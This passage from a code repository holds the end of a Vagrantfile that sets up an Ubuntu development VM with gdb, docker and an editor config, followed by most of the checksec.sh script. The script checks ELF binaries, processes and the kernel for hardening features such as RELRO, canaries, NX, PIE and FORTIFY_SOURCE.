8 | config.vm.provision "file", source: "checksec.sh", destination: "/usr/bin/checksec.sh" 9 | config.vm.provision "shell", inline: <<-SHELL 10 | apt-get update 11 | apt-get install -y build-essential vim gdb git docker.io docker-compose ruby python 12 | 13 | usermod -a -G docker ubuntu 14 | echo c2V0IHN5bnRheD1vbgpzZXQgbnUKc2V0IHRzPTMKc2V0IGV4cGFuZHRhYgpzZXQgYXV0b2luZGVudAoKCgoK | base64 -d > /home/ubuntu/.vimrc 15 | chown ubuntu:ubuntu /home/ubuntu/.vimrc 16 | 17 | chmod 755 /usr/bin/checksec.sh 18 | SHELL 19 | 20 | end 21 | -------------------------------------------------------------------------------- /dev/checksec.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | # 5 | # The BSD License (http://www.opensource.org/licenses/bsd-license.php) 6 | # specifies the terms and conditions of use for checksec.sh: 7 | # 8 | # Copyright (c) 2009-2011, Tobias Klein. 9 | # All rights reserved. 10 | # 11 | # Redistribution and use in source and binary forms, with or without 12 | # modification, are permitted provided that the following conditions 13 | # are met: 14 | # 15 | # * Redistributions of source code must retain the above copyright 16 | # notice, this list of conditions and the following disclaimer. 17 | # * Redistributions in binary form must reproduce the above copyright 18 | # notice, this list of conditions and the following disclaimer in 19 | # the documentation and/or other materials provided with the 20 | # distribution. 21 | # * Neither the name of Tobias Klein nor the name of trapkit.de may be 22 | # used to endorse or promote products derived from this software 23 | # without specific prior written permission. 24 | # 25 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 26 | # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 27 | # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS 28 | # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 29 | # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 30 | # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, 31 | # BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS 32 | # OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED 33 | # AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 34 | # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF 35 | # THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH 36 | # DAMAGE. 37 | # 38 | # Name : checksec.sh 39 | # Version : 1.5 40 | # Author : Tobias Klein 41 | # Date : November 2011 42 | # Download: http://www.trapkit.de/tools/checksec.html 43 | # Changes : http://www.trapkit.de/tools/checksec_changes.txt 44 | # 45 | # Description: 46 | # 47 | # Modern Linux distributions offer some mitigation techniques to make it 48 | # harder to exploit software vulnerabilities reliably. Mitigations such 49 | # as RELRO, NoExecute (NX), Stack Canaries, Address Space Layout 50 | # Randomization (ASLR) and Position Independent Executables (PIE) have 51 | # made reliably exploiting any vulnerabilities that do exist far more 52 | # challenging. The checksec.sh script is designed to test what *standard* 53 | # Linux OS and PaX (http://pax.grsecurity.net/) security features are being 54 | # used. 55 | # 56 | # As of version 1.3 the script also lists the status of various Linux kernel 57 | # protection mechanisms. 58 | # 59 | # Credits: 60 | # 61 | # Thanks to Brad Spengler (grsecurity.net) for the PaX support. 62 | # Thanks to Jon Oberheide (jon.oberheide.org) for the kernel support. 63 | # Thanks to Ollie Whitehouse (Research In Motion) for rpath/runpath support. 64 | # 65 | # Others that contributed to checksec.sh (in no particular order): 66 | # 67 | # Simon Ruderich, Denis Scherbakov, Stefan Kuttler, Radoslaw Madej, 68 | # Anthony G. Basile, Martin Vaeth and Brian Davis. 69 | # 70 | 71 | # global vars 72 | have_readelf=1 73 | verbose=false 74 | 75 | # FORTIFY_SOURCE vars 76 | FS_end=_chk 77 | FS_cnt_total=0 78 | FS_cnt_checked=0 79 | FS_cnt_unchecked=0 80 | FS_chk_func_libc=0 81 | FS_functions=0 82 | FS_libc=0 83 | 84 | # version information 85 | version() { 86 | echo "checksec v1.5, Tobias Klein, www.trapkit.de, November 2011" 87 | echo 88 | } 89 | 90 | # help 91 | help() { 92 | echo "Usage: checksec [OPTION]" 93 | echo 94 | echo "Options:" 95 | echo 96 | echo " --file " 97 | echo " --dir [-v]" 98 | echo " --proc " 99 | echo " --proc-all" 100 | echo " --proc-libs " 101 | echo " --kernel" 102 | echo " --fortify-file " 103 | echo " --fortify-proc " 104 | echo " --version" 105 | echo " --help" 106 | echo 107 | echo "For more information, see:" 108 | echo " http://www.trapkit.de/tools/checksec.html" 109 | echo 110 | } 111 | 112 | # check if command exists 113 | command_exists () { 114 | type $1 > /dev/null 2>&1; 115 | } 116 | 117 | # check if directory exists 118 | dir_exists () { 119 | if [ -d $1 ] ; then 120 | return 0 121 | else 122 | return 1 123 | fi 124 | } 125 | 126 | # check user privileges 127 | root_privs () { 128 | if [ $(/usr/bin/id -u) -eq 0 ] ; then 129 | return 0 130 | else 131 | return 1 132 | fi 133 | } 134 | 135 | # check if input is numeric 136 | isNumeric () { 137 | echo "$@" | grep -q -v "[^0-9]" 138 | } 139 | 140 | # check if input is a string 141 | isString () { 142 | echo "$@" | grep -q -v "[^A-Za-z]" 143 | } 144 | 145 | # check file(s) 146 | filecheck() { 147 | # check for RELRO support 148 | if readelf -l $1 2>/dev/null | grep -q 'GNU_RELRO'; then 149 | if readelf -d $1 2>/dev/null | grep -q 'BIND_NOW'; then 150 | echo -n -e '\033[32mFull RELRO \033[m ' 151 | else 152 | echo -n -e '\033[33mPartial RELRO\033[m ' 153 | fi 154 | else 155 | echo -n -e '\033[31mNo RELRO \033[m ' 156 | fi 157 | 158 | # check for stack canary support 159 | if readelf -s $1 2>/dev/null | grep -q '__stack_chk_fail'; then 160 | echo -n -e '\033[32mCanary found \033[m ' 161 | else 162 | echo -n -e '\033[31mNo canary found\033[m ' 163 | fi 164 | 165 | # check for NX support 166 | if readelf -W -l $1 2>/dev/null | grep 'GNU_STACK' | grep -q 'RWE'; then 167 | echo -n -e '\033[31mNX disabled\033[m ' 168 | else 169 | echo -n -e '\033[32mNX enabled \033[m ' 170 | fi 171 | 172 | # check for PIE support 173 | if readelf -h $1 2>/dev/null | grep -q 'Type:[[:space:]]*EXEC'; then 174 | echo -n -e '\033[31mNo PIE \033[m ' 175 | elif readelf -h $1 2>/dev/null | grep -q 'Type:[[:space:]]*DYN'; then 176 | if readelf -d $1 2>/dev/null | grep -q '(DEBUG)'; then 177 | echo -n -e '\033[32mPIE enabled \033[m ' 178 | else 179 | echo -n -e '\033[33mDSO \033[m ' 180 | fi 181 | else 182 | echo -n -e '\033[33mNot an ELF file\033[m ' 183 | fi 184 | 185 | # check for rpath / run path 186 | if readelf -d $1 2>/dev/null | grep -q 'rpath'; then 187 | echo -n -e '\033[31mRPATH \033[m ' 188 | else 189 | echo -n -e '\033[32mNo RPATH \033[m ' 190 | fi 191 | 192 | if readelf -d $1 2>/dev/null | grep -q 'runpath'; then 193 | echo -n -e '\033[31mRUNPATH \033[m ' 194 | else 195 | echo -n -e '\033[32mNo RUNPATH \033[m ' 196 | fi 197 | } 198 | 199 | # check process(es) 200 | proccheck() { 201 | # check for RELRO support 202 | if readelf -l $1/exe 2>/dev/null | grep -q 'Program Headers'; then 203 | if readelf -l $1/exe 2>/dev/null | grep -q 'GNU_RELRO'; then 204 | if readelf -d $1/exe 2>/dev/null | grep -q 'BIND_NOW'; then 205 | echo -n -e '\033[32mFull RELRO \033[m ' 206 | else 207 | echo -n -e '\033[33mPartial RELRO \033[m ' 208 | fi 209 | else 210 | echo -n -e '\033[31mNo RELRO \033[m ' 211 | fi 212 | else 213 | echo -n -e '\033[31mPermission denied (please run as root)\033[m\n' 214 | exit 1 215 | fi 216 | 217 | # check for stack canary support 218 | if readelf -s $1/exe 2>/dev/null | grep -q 'Symbol table'; then 219 | if readelf -s $1/exe 2>/dev/null | grep -q '__stack_chk_fail'; then 220 | echo -n -e '\033[32mCanary found \033[m ' 221 | else 222 | echo -n -e '\033[31mNo canary found \033[m ' 223 | fi 224 | else 225 | if [ "$1" != "1" ] ; then 226 | echo -n -e '\033[33mPermission denied \033[m ' 227 | else 228 | echo -n -e '\033[33mNo symbol table found\033[m ' 229 | fi 230 | fi 231 | 232 | # first check for PaX support 233 | if cat $1/status 2> /dev/null | grep -q 'PaX:'; then 234 | pageexec=( $(cat $1/status 2> /dev/null | grep 'PaX:' | cut -b6) ) 235 | segmexec=( $(cat $1/status 2> /dev/null | grep 'PaX:' | cut -b10) ) 236 | mprotect=( $(cat $1/status 2> /dev/null | grep 'PaX:' | cut -b8) ) 237 | randmmap=( $(cat $1/status 2> /dev/null | grep 'PaX:' | cut -b9) ) 238 | if [[ "$pageexec" = "P" || "$segmexec" = "S" ]] && [[ "$mprotect" = "M" && "$randmmap" = "R" ]] ; then 239 | echo -n -e '\033[32mPaX enabled\033[m ' 240 | elif [[ "$pageexec" = "p" && "$segmexec" = "s" && "$randmmap" = "R" ]] ; then 241 | echo -n -e '\033[33mPaX ASLR only\033[m ' 242 | elif [[ "$pageexec" = "P" || "$segmexec" = "S" ]] && [[ "$mprotect" = "m" && "$randmmap" = "R" ]] ; then 243 | echo -n -e '\033[33mPaX mprot off \033[m' 244 | elif [[ "$pageexec" = "P" || "$segmexec" = "S" ]] && [[ "$mprotect" = "M" && "$randmmap" = "r" ]] ; then 245 | echo -n -e '\033[33mPaX ASLR off\033[m ' 246 | elif [[ "$pageexec" = "P" || "$segmexec" = "S" ]] && [[ "$mprotect" = "m" && "$randmmap" = "r" ]] ; then 247 | echo -n -e '\033[33mPaX NX only\033[m ' 248 | else 249 | echo -n -e '\033[31mPaX disabled\033[m ' 250 | fi 251 | # fallback check for NX support 252 | elif readelf -W -l $1/exe 2>/dev/null | grep 'GNU_STACK' | grep -q 'RWE'; then 253 | echo -n -e '\033[31mNX disabled\033[m ' 254 | else 255 | echo -n -e '\033[32mNX enabled \033[m ' 256 | fi 257 | 258 | # check for PIE support 259 | if readelf -h $1/exe 2>/dev/null | grep -q 'Type:[[:space:]]*EXEC'; then 260 | echo -n -e '\033[31mNo PIE \033[m ' 261 | elif readelf -h $1/exe 2>/dev/null | grep -q 'Type:[[:space:]]*DYN'; then 262 | if readelf -d $1/exe 2>/dev/null | grep -q '(DEBUG)'; then 263 | echo -n -e '\033[32mPIE enabled \033[m ' 264 | else 265 | echo -n -e '\033[33mDynamic Shared Object\033[m ' 266 | fi 267 | else 268 | echo -n -e '\033[33mNot an ELF file \033[m ' 269 | fi 270 | } 271 | 272 | # check mapped libraries 273 | libcheck() { 274 | libs=( $(awk '{ print $6 }' /proc/$1/maps | grep '/' | sort -u | xargs file | grep ELF | awk '{ print $1 }' | sed 's/:/ /') ) 275 | 276 | printf "\n* Loaded libraries (file information, # of mapped files: ${#libs[@]}):\n\n" 277 | 278 | for element in $(seq 0 $((${#libs[@]} - 1))) 279 | do 280 | echo " ${libs[$element]}:" 281 | echo -n " " 282 | filecheck ${libs[$element]} 283 | printf "\n\n" 284 | done 285 | } 286 | 287 | # check for system-wide ASLR support 288 | aslrcheck() { 289 | # PaX ASLR support 290 | if !(cat /proc/1/status 2> /dev/null | grep -q 'Name:') ; then 291 | echo -n -e ':\033[33m insufficient privileges for PaX ASLR checks\033[m\n' 292 | echo -n -e ' Fallback to standard Linux ASLR check' 293 | fi 294 | 295 | if cat /proc/1/status 2> /dev/null | grep -q 'PaX:'; then 296 | printf ": " 297 | if cat /proc/1/status 2> /dev/null | grep 'PaX:' | grep -q 'R'; then 298 | echo -n -e '\033[32mPaX ASLR enabled\033[m\n\n' 299 | else 300 | echo -n -e '\033[31mPaX ASLR disabled\033[m\n\n' 301 | fi 302 | else 303 | # standard Linux 'kernel.randomize_va_space' ASLR support 304 | # (see the kernel file 'Documentation/sysctl/kernel.txt' for a detailed description) 305 | printf " (kernel.randomize_va_space): " 306 | if /sbin/sysctl -a 2>/dev/null | grep -q 'kernel.randomize_va_space = 1'; then 307 | echo -n -e '\033[33mOn (Setting: 1)\033[m\n\n' 308 | printf " Description - Make the addresses of mmap base, stack and VDSO page randomized.\n" 309 | printf " This, among other things, implies that shared libraries will be loaded to \n" 310 | printf " random addresses. Also for PIE-linked binaries, the location of code start\n" 311 | printf " is randomized. Heap addresses are *not* randomized.\n\n" 312 | elif /sbin/sysctl -a 2>/dev/null | grep -q 'kernel.randomize_va_space = 2'; then 313 | echo -n -e '\033[32mOn (Setting: 2)\033[m\n\n' 314 | printf " Description - Make the addresses of mmap base, heap, stack and VDSO page randomized.\n" 315 | printf " This, among other things, implies that shared libraries will be loaded to random \n" 316 | printf " addresses. Also for PIE-linked binaries, the location of code start is randomized.\n\n" 317 | elif /sbin/sysctl -a 2>/dev/null | grep -q 'kernel.randomize_va_space = 0'; then 318 | echo -n -e '\033[31mOff (Setting: 0)\033[m\n' 319 | else 320 | echo -n -e '\033[31mNot supported\033[m\n' 321 | fi 322 | printf " See the kernel file 'Documentation/sysctl/kernel.txt' for more details.\n\n" 323 | fi 324 | } 325 | 326 | # check cpu nx flag 327 | nxcheck() { 328 | if grep -q nx /proc/cpuinfo; then 329 | echo -n -e '\033[32mYes\033[m\n\n' 330 | else 331 | echo -n -e '\033[31mNo\033[m\n\n' 332 | fi 333 | } 334 | 335 | # check for kernel protection mechanisms 336 | kernelcheck() { 337 | printf " Description - List the status of kernel protection mechanisms. Rather than\n" 338 | printf " inspect kernel mechanisms that may aid in the prevention of exploitation of\n" 339 | printf " userspace processes, this option lists the status of kernel configuration\n" 340 | printf " options that harden the kernel itself against attack.\n\n" 341 | printf " Kernel config: " 342 | 343 | if [ -f /proc/config.gz ] ; then 344 | kconfig="zcat /proc/config.gz" 345 | printf "\033[32m/proc/config.gz\033[m\n\n" 346 | elif [ -f /boot/config-`uname -r` ] ; then 347 | kconfig="cat /boot/config-`uname -r`" 348 | printf "\033[33m/boot/config-`uname -r`\033[m\n\n" 349 | printf " Warning: The config on disk may not represent running kernel config!\n\n"; 350 | elif [ -f "${KBUILD_OUTPUT:-/usr/src/linux}"/.config ] ; then 351 | kconfig="cat ${KBUILD_OUTPUT:-/usr/src/linux}/.config" 352 | printf "\033[33m%s\033[m\n\n" "${KBUILD_OUTPUT:-/usr/src/linux}/.config" 353 | printf " Warning: The config on disk may not represent running kernel config!\n\n"; 354 | else 355 | printf "\033[31mNOT FOUND\033[m\n\n" 356 | exit 0 357 | fi 358 | 359 | printf " GCC stack protector support: " 360 | if $kconfig | grep -qi 'CONFIG_CC_STACKPROTECTOR=y'; then 361 | printf "\033[32mEnabled\033[m\n" 362 | else 363 | printf "\033[31mDisabled\033[m\n" 364 | fi 365 | 366 | printf " Strict user copy checks: " 367 | if $kconfig | grep -qi 'CONFIG_DEBUG_STRICT_USER_COPY_CHECKS=y'; then 368 | printf "\033[32mEnabled\033[m\n" 369 | else 370 | printf "\033[31mDisabled\033[m\n" 371 | fi 372 | 373 | printf " Enforce read-only kernel data: " 374 | if $kconfig | grep -qi 'CONFIG_DEBUG_RODATA=y'; then 375 | printf "\033[32mEnabled\033[m\n" 376 | else 377 | printf "\033[31mDisabled\033[m\n" 378 | fi 379 | printf " Restrict /dev/mem access: " 380 | if $kconfig | grep -qi 'CONFIG_STRICT_DEVMEM=y'; then 381 | printf "\033[32mEnabled\033[m\n" 382 | else 383 | printf "\033[31mDisabled\033[m\n" 384 | fi 385 | 386 | printf " Restrict /dev/kmem access: " 387 | if $kconfig | grep -qi 'CONFIG_DEVKMEM=y'; then 388 | printf "\033[31mDisabled\033[m\n" 389 | else 390 | printf "\033[32mEnabled\033[m\n" 391 | fi 392 | 393 | printf "\n" 394 | printf "* grsecurity / PaX: " 395 | 396 | if $kconfig | grep -qi 'CONFIG_GRKERNSEC=y'; then 397 | if $kconfig | grep -qi 'CONFIG_GRKERNSEC_HIGH=y'; then 398 | printf "\033[32mHigh GRKERNSEC\033[m\n\n" 399 | elif $kconfig | grep -qi 'CONFIG_GRKERNSEC_MEDIUM=y'; then 400 | printf "\033[33mMedium GRKERNSEC\033[m\n\n" 401 | elif $kconfig | grep -qi 'CONFIG_GRKERNSEC_LOW=y'; then 402 | printf "\033[31mLow GRKERNSEC\033[m\n\n" 403 | else 404 | printf "\033[33mCustom GRKERNSEC\033[m\n\n" 405 | fi 406 | 407 | printf " Non-executable kernel pages: " 408 | if $kconfig | grep -qi 'CONFIG_PAX_KERNEXEC=y'; then 409 | printf "\033[32mEnabled\033[m\n" 410 | else 411 | printf "\033[31mDisabled\033[m\n" 412 | fi 413 | 414 | printf " Prevent userspace pointer deref: " 415 | if $kconfig | grep -qi 'CONFIG_PAX_MEMORY_UDEREF=y'; then 416 | printf "\033[32mEnabled\033[m\n" 417 | else 418 | printf "\033[31mDisabled\033[m\n" 419 | fi 420 | 421 | printf " Prevent kobject refcount overflow: " 422 | if $kconfig | grep -qi 'CONFIG_PAX_REFCOUNT=y'; then 423 | printf "\033[32mEnabled\033[m\n" 424 | else 425 | printf "\033[31mDisabled\033[m\n" 426 | fi 427 | 428 | printf " Bounds check heap object copies: " 429 | if $kconfig | grep -qi 'CONFIG_PAX_USERCOPY=y'; then 430 | printf "\033[32mEnabled\033[m\n" 431 | else 432 | printf "\033[31mDisabled\033[m\n" 433 | fi 434 | 435 | printf " Disable writing to kmem/mem/port: " 436 | if $kconfig | grep -qi 'CONFIG_GRKERNSEC_KMEM=y'; then 437 | printf "\033[32mEnabled\033[m\n" 438 | else 439 | printf "\033[31mDisabled\033[m\n" 440 | fi 441 | 442 | printf " Disable privileged I/O: " 443 | if $kconfig | grep -qi 'CONFIG_GRKERNSEC_IO=y'; then 444 | printf "\033[32mEnabled\033[m\n" 445 | else 446 | printf "\033[31mDisabled\033[m\n" 447 | fi 448 | 449 | printf " Harden module auto-loading: " 450 | if $kconfig | grep -qi 'CONFIG_GRKERNSEC_MODHARDEN=y'; then 451 | printf "\033[32mEnabled\033[m\n" 452 | else 453 | printf "\033[31mDisabled\033[m\n" 454 | fi 455 | 456 | printf " Hide kernel symbols: " 457 | if $kconfig | grep -qi 'CONFIG_GRKERNSEC_HIDESYM=y'; then 458 | printf "\033[32mEnabled\033[m\n" 459 | else 460 | printf "\033[31mDisabled\033[m\n" 461 | fi 462 | else 463 | printf "\033[31mNo GRKERNSEC\033[m\n\n" 464 | printf " The grsecurity / PaX patchset is available here:\n" 465 | printf " http://grsecurity.net/\n" 466 | fi 467 | 468 | printf "\n" 469 | printf "* Kernel Heap Hardening: " 470 | 471 | if $kconfig | grep -qi 'CONFIG_KERNHEAP=y'; then 472 | if $kconfig | grep -qi 'CONFIG_KERNHEAP_FULLPOISON=y'; then 473 | printf "\033[32mFull KERNHEAP\033[m\n\n" 474 | else 475 | printf "\033[33mPartial KERNHEAP\033[m\n\n" 476 | fi 477 | else 478 | printf "\033[31mNo KERNHEAP\033[m\n\n" 479 | printf " The KERNHEAP hardening patchset is available here:\n" 480 | printf " https://www.subreption.com/kernheap/\n\n" 481 | fi 482 | } 483 | 484 | # --- FORTIFY_SOURCE subfunctions (start) --- 485 | 486 | # is FORTIFY_SOURCE supported by libc? 487 | FS_libc_check() { 488 | printf "* FORTIFY_SOURCE support available (libc) : " 489 | 490 | if [ "${#FS_chk_func_libc[@]}" != "0" ] ; then 491 | printf "\033[32mYes\033[m\n" 492 | else 493 | printf "\033[31mNo\033[m\n" 494 | exit 1 495 | fi 496 | } 497 | 498 | # was the binary compiled with FORTIFY_SOURCE? 499 | FS_binary_check() { 500 | printf "* Binary compiled with FORTIFY_SOURCE support: " 501 | 502 | for FS_elem_functions in $(seq 0 $((${#FS_functions[@]} - 1))) 503 | do 504 | if [[ ${FS_functions[$FS_elem_functions]} =~ _chk ]] ; then 505 | printf "\033[32mYes\033[m\n" 506 | return 507 | fi 508 | done 509 | printf "\033[31mNo\033[m\n" 510 | exit 1 511 | } 512 | 513 | FS_comparison() { 514 | echo 515 | printf " ------ EXECUTABLE-FILE ------- . -------- LIBC --------\n" 516 | printf " FORTIFY-able library functions | Checked function names\n" 517 | printf " -------------------------------------------------------\n" 518 | 519 | for FS_elem_libc in $(seq 0 $((${#FS_chk_func_libc[@]} - 1))) 520 | do 521 | for FS_elem_functions in $(seq 0 $((${#FS_functions[@]} - 1))) 522 | do 523 | FS_tmp_func=${FS_functions[$FS_elem_functions]} 524 | FS_tmp_libc=${FS_chk_func_libc[$FS_elem_libc]} 525 | 526 | if [[ $FS_tmp_func =~ ^$FS_tmp_libc$ ]] ; then 527 | printf " \033[31m%-30s\033[m | __%s%s\n" $FS_tmp_func $FS_tmp_libc $FS_end 528 | let FS_cnt_total++ 529 | let FS_cnt_unchecked++ 530 | elif [[ $FS_tmp_func =~ ^$FS_tmp_libc(_chk) ]] ; then 531 | printf " \033[32m%-30s\033[m | __%s%s\n" $FS_tmp_func $FS_tmp_libc $FS_end 532 | let FS_cnt_total++ 533 | let FS_cnt_checked++ 534 | fi 535 | 536 | done 537 | done 538 | } 539 | 540 | FS_summary() { 541 | echo 542 | printf "SUMMARY:\n\n" 543 | printf "* Number of checked functions in libc : ${#FS_chk_func_libc[@]}\n" 544 | printf "* Total number of library functions in the executable: ${#FS_functions[@]}\n" 545 | printf "* Number of FORTIFY-able functions in the executable : %s\n" $FS_cnt_total 546 | printf "* Number of checked functions in the executable : \033[32m%s\033[m\n" $FS_cnt_checked 547 | printf "* Number of unchecked functions in the executable : \033[31m%s\033[m\n" $FS_cnt_unchecked 548 | echo 549 | } 550 | 551 | # --- FORTIFY_SOURCE subfunctions (end) --- 552 | 553 | if !(command_exists readelf) ; then 554 | printf "\033[31mWarning: 'readelf' not found! It's required for most checks.\033[m\n\n" 555 | have_readelf=0 556 | fi 557 | 558 | # parse command-line arguments 559 | case "$1" in 560 | 561 | --version) 562 | version 563 | exit 0 564 | ;; 565 | 566 | --help) 567 | help 568 | exit 0 569 | ;; 570 | 571 | --dir) 572 | if [ "$3" = "-v" ] ; then 573 | verbose=true 574 | fi 575 | if [ $have_readelf -eq 0 ] ; then 576 | exit 1 577 | fi 578 | if [ -z "$2" ] ; then 579 | printf "\033[31mError: Please provide a valid directory.\033[m\n\n" 580 | exit 1 581 | fi 582 | # remove trailing slashes 583 | tempdir=`echo $2 | sed -e "s/\/*$//"` 584 | if [ ! -d $tempdir ] ; then 585 | printf "\033[31mError: The directory '$tempdir' does not exist.\033[m\n\n" 586 | exit 1 587 | fi 588 | cd $tempdir 589 | printf "RELRO STACK CANARY NX PIE RPATH RUNPATH FILE\n" 590 | for N in [A-Za-z]*; do 591 | if [ "$N" != "[A-Za-z]*" ]; then 592 | # read permissions? 593 | if [ ! -r $N ]; then 594 | printf "\033[31mError: No read permissions for '$tempdir/$N' (run as root).\033[m\n" 595 | else 596 | # ELF executable? 597 | out=`file $N` 598 | if [[ ! $out =~ ELF ]] ; then 599 | if [ "$verbose" = "true" ] ; then 600 | printf "\033[34m*** Not an ELF file: $tempdir/" 601 | file $N 602 | printf "\033[m" 603 | fi 604 | else 605 | filecheck $N 606 | if [ `find $tempdir/$N \( -perm -004000 -o -perm -002000 \) -type f -print` ]; then 607 | printf "\033[37;41m%s%s\033[m" $2 $N 608 | else 609 | printf "%s%s" $tempdir/ $N 610 | fi 611 | echo 612 | fi 613 | fi 614 | fi 615 | done 616 | exit 0 617 | ;; 618 | 619 | --file) 620 | if [ $have_readelf -eq 0 ] ; then 621 | exit 1 622 | fi 623 | if [ -z "$2" ] ; then 624 | printf "\033[31mError: Please provide a valid file.\033[m\n\n" 625 | exit 1 626 | fi 627 | # does the file exist? 628 | if [ ! -e $2 ] ; then 629 | printf "\033[31mError: The file '$2' does not exist.\033[m\n\n" 630 | exit 1 631 | fi 632 | # read permissions? 633 | if [ ! -r $2 ] ; then 634 | printf "\033[31mError: No read permissions for '$2' (run as root).\033[m\n\n" 635 | exit 1 636 | fi 637 | # ELF executable? 638 | out=`file $2` 639 | if [[ ! $out =~ ELF ]] ; then 640 | printf "\033[31mError: Not an ELF file: " 641 | file $2 642 | printf "\033[m\n" 643 | exit 1 644 | fi 645 | printf "RELRO STACK CANARY NX PIE RPATH RUNPATH FILE\n" 646 | filecheck $2 647 | if [ `find $2 \( -perm -004000 -o -perm -002000 \) -type f -print` ] ; then 648 | printf "\033[37;41m%s%s\033[m" $2 $N 649 | else 650 | printf "%s" $2 651 | fi 652 | echo 653 | exit 0 654 | ;; 655 | 656 | --proc-all) 657 | if [ $have_readelf -eq 0 ] ; then 658 | exit 1 659 | fi 660 | cd /proc 661 | printf "* System-wide ASLR" 662 | aslrcheck 663 | printf "* Does the CPU support NX: " 664 | nxcheck 665 | printf " COMMAND PID RELRO STACK CANARY NX/PaX PIE\n" 666 | for N in [1-9]*; do 667 | if [ $N != $$ ] && readlink -q $N/exe > /dev/null; then 668 | printf "%16s" `head -1 $N/status | cut -b 7-` 669 | printf "%7d " $N 670 | proccheck $N 671 | echo 672 | fi 673 | done 674 | if [ ! -e /usr/bin/id ] ; then 675 | printf "\n\033[33mNote: If you are running 'checksec.sh' as an unprivileged user, you\n" 676 | printf " will not see all processes. Please run the script as root.\033[m\n\n" 677 | else 678 | if !(root_privs) ; then 679 | printf "\n\033[33mNote: You are running 'checksec.sh' as an unprivileged user.\n" 680 | printf " Too see all processes, please run the script as root.\033[m\n\n" 681 | fi 682 | fi 683 | exit 0 684 | ;; 685 | 686 | --proc) 687 | if [ $have_readelf -eq 0 ] ; then 688 | exit 1 689 | fi 690 | if [ -z "$2" ] ; then 691 | printf "\033[31mError: Please provide a valid process name.\033[m\n\n" 692 | exit 1 693 | fi 694 | if !(isString "$2") ; then 695 | printf "\033[31mError: Please provide a valid process name.\033[m\n\n" 696 | exit 1 697 | fi 698 | cd /proc 699 | printf "* System-wide ASLR" 700 | aslrcheck 701 | printf "* Does the CPU support NX: " 702 | nxcheck 703 | printf " COMMAND PID RELRO STACK CANARY NX/PaX PIE\n" 704 | for N in `ps -Ao pid,comm | grep $2 | cut -b1-6`; do 705 | if [ -d $N ] ; then 706 | printf "%16s" `head -1 $N/status | cut -b 7-` 707 | printf "%7d " $N 708 | # read permissions? 709 | if [ ! -r $N/exe ] ; then 710 | if !(root_privs) ; then 711 | printf "\033[31mNo read permissions for '/proc/$N/exe' (run as root).\033[m\n\n" 712 | exit 1 713 | fi 714 | if [ ! `readlink $N/exe` ] ; then 715 | printf "\033[31mPermission denied. Requested process ID belongs to a kernel thread.\033[m\n\n" 716 | exit 1 717 | fi 718 | exit 1 719 | fi 720 | proccheck $N 721 | echo 722 | fi 723 | done 724 | exit 0 725 | ;; 726 | 727 | --proc-libs) 728 | if [ $have_readelf -eq 0 ] ; then 729 | exit 1 730 | fi 731 | if [ -z "$2" ] ; then 732 | printf "\033[31mError: Please provide a valid process ID.\033[m\n\n" 733 | exit 1 734 | fi 735 | if !(isNumeric "$2") ; then 736 | printf "\033[31mError: Please provide a valid process ID.\033[m\n\n" 737 | exit 1 738 | fi 739 | cd /proc 740 | printf "* System-wide ASLR" 741 | aslrcheck 742 | printf "* Does the CPU support NX: " 743 | nxcheck 744 | printf "* Process information:\n\n" 745 | printf " COMMAND PID RELRO STACK CANARY NX/PaX PIE\n" 746 | N=$2 747 | if [ -d $N ] ; then 748 | printf "%16s" `head -1 $N/status | cut -b 7-` 749 | printf "%7d " $N 750 | # read permissions? 751 | if [ ! -r $N/exe ] ; then 752 | if !(root_privs) ; then 753 | printf "\033[31mNo read permissions for '/proc/$N/exe' (run as root).\033[m\n\n" 754 | exit 1 755 | fi 756 | if [ ! `readlink $N/exe` ] ; then 757 | printf "\033[31mPermission denied. Requested process ID belongs to a kernel thread.\033[m\n\n" 758 | exit 1 759 | fi 760 | exit 1 761 | fi 762 | proccheck $N 763 | echo 764 | libcheck $N 765 | fi 766 | exit 0 767 | ;; 768 | 769 | --kernel) 770 | cd /proc 771 | printf "* Kernel protection information:\n\n" 772 | kernelcheck 773 | exit 0 774 | ;; 775 | 776 | --fortify-file) 777 | if [ $have_readelf -eq 0 ] ; then 778 | exit 1 779 | fi 780 | if [ -z "$2" ] ; then 781 | printf "\033[31mError: Please provide a valid file.\033[m\n\n" 782 | exit 1 783 | fi 784 | # does the file exist? 785 | if [ ! -e $2 ] ; then 786 | printf "\033[31mError: The file '$2' does not exist.\033[m\n\n" 787 | exit 1 788 | fi 789 | # read permissions? 790 | if [ ! -r $2 ] ; then 791 | printf "\033[31mError: No read permissions for '$2' (run as root).\033[m\n\n" 792 | exit 1 793 | fi 794 | # ELF executable? 795 | out=`file $2` 796 | if [[ ! $out =~ ELF ]] ; then 797 | printf "\033[31mError: Not an ELF file: " 798 | file $2 799 | printf "\033[m\n" 800 | exit 1 801 | fi 802 | if [ -e /lib/libc.so.6 ] ; then 803 | FS_libc=/lib/libc.so.6 804 | elif [ -e /lib64/libc.so.6 ] ; then 805 | FS_libc=/lib64/libc.so.6 806 | elif [ -e /lib/i386-linux-gnu/libc.so.6 ] ; then 807 | FS_libc=/lib/i386-linux-gnu/libc.so.6 808 | elif [ -e /lib/x86_64-linux-gnu/libc.so.6 ] ; then 809 | FS_libc=/lib/x86_64-linux-gnu/libc.so.6 810 | else 811 | printf "\033[31mError: libc not found.\033[m\n\n" 812 | exit 1 813 | fi 814 | 815 | FS_chk_func_libc=( $(readelf -s $FS_libc | grep _chk@@ | awk '{ print $8 }' | cut -c 3- | sed -e 's/_chk@.*//') ) 816 | FS_functions=( $(readelf -s $2 | awk '{ print $8 }' | sed 's/_*//' | sed -e 's/@.*//') ) 817 | 818 | 